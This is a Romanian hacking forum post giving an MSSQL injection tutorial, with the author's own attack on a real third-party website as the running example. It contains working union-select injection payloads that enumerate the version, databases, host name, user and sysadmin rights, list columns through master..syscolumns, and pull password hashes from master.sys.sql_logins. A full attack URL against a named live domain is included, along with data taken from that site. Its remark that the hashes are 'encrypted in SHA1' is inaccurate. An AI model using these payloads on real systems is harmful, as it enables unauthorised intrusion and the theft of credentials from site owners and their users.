Jump to content
Guest Praetorian

----[ MSSQL Injection ]----

Recommended Posts

Guest Praetorian

----------------------------------[ MSSQL INJECTION ]----------------------------------

MSSQL nu este la fel de folosit ca MySQL, din aceasta cauza nu prea multi stiu sa faca MSSQL Injection.

Pe cand cautam un SQL intr-un site de gay, am dat din gresela de unul vulnerabil la MSSQL Inj :) am zis sa fac un tutorial, ca poate o sa prinda bine la multi!

Puteti citi mai multe despre MSSQL aici:

----------------------------------[ Numarul Coloanelor ]----------------------------------

Folosim ca si la MySQL order by *--

  • Numarul de coloane = 26
  • Coloana vizibila este = 9

----------------------------------[ Versiunea ]----------------------------------

Se afla la fel ca cel de la MySQL cu @@version, dar nu si cu version().

2mrgrc3.png

@@version = Microsoft SQL Server 2005 - 9.00.3077.00 (Intel X86) Dec 17 2008 15:19:45 Copyright © 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

----------------------------------[ Baza/bazele de date ]----------------------------------

Puteti afla numele bazei de date principala cu db_name().

Daca vreti sa vedeti ce baze de date mai are folositi db_name(nr), unde nr va fi numarul bazei de date, de ex: nr=1,2,3 etc

Baza de date principala este selft:

2a7vm2g.png

Total 6 baze de date:

  • db_name(1) = master
  • db_name(2) = tempdb
  • db_name(3) = model
  • db_name(4) = msdb
  • db_name(5) = id3conf
  • db_name(6) = selft

----------------------------------[ Numele Host-ului ]----------------------------------

Puteti sa aflati numele cu ajutorul lui host_name()

20fagiv.png

----------------------------------[ User-ul principal ]----------------------------------

Il putem afla usor inlocuind coloana vizibila cu user_name() sau user.

20fagiv.png

----------------------------------[ Cum verifici daca admin-ul are privilegi de SA ]----------------------------------

Este usor si aici, nu trebuie decat sa punem is_srvrolemember('sysadmin','sa')

18i4uf.png

Daca va returna 1 inseamna ca admin-ul are privilegi de SA [system Administrator], in caz contrar va returna 0.

In caz ca nu merge cu is_srvrolemember('sysadmin','sa') inlocuiti sysadmin cu bulkadmin.

Mai multe despre SA puteti citi aici:

----------------------------------[ Cum sa vezi coloanele unui tabel ]----------------------------------

Sintaxa este

2my7vxf.png

Daca doriti sa vedeti coloanele unei anumite baze de date folositi sintaxa:

www.site.com/...?id=-1+union+all+select+*,master..syscolumns.name,*+from+master..syscolumns--

Inlocuiti name cu numele tabelului din care vreti sa aflati coloanele.

k3njmb.png

http://503.archive-gay.com/deta.htm?idvideo=-2077+union+all+select+1,2,3,4,5,6,7,8,master..syscolumns.xtype,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+FROM+master..syscolumns--

----------------------------------[ Cum sa obtii Hash-ul Adminului ]----------------------------------

Sintaxa este simpla:

www.site.com/...?id=-1 union all select *,password_hash,* from master.sys.sql_logins--

Hash-urile in MSSQL 2000/2005 sunt cryptate in SHA1, care au 40 de charactere.

2cctmau.png

Din cate vedeti nu apare, asa ca ne uitam in sursa.

10zbz2x.png

Si vedem 1na1nb1ne1nf1ng1nh1va1vb1lalb1og1oh1cz1 [ care are 40 charactere = SHA1 ]

----------------------------------[ Cele mai intalnite baze de date ]----------------------------------

Aceste baze de date sunt cele mai des intalnite:

  • northwind
  • model
  • msdb
  • pubs
  • tempdb

Cam atat deocamdata, imi e lene sa mai continui, poate o sa mai adaug si alte lucruri altadata.

Writted by TinKode @ Insecurity.ro

Edited by Praetorian
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...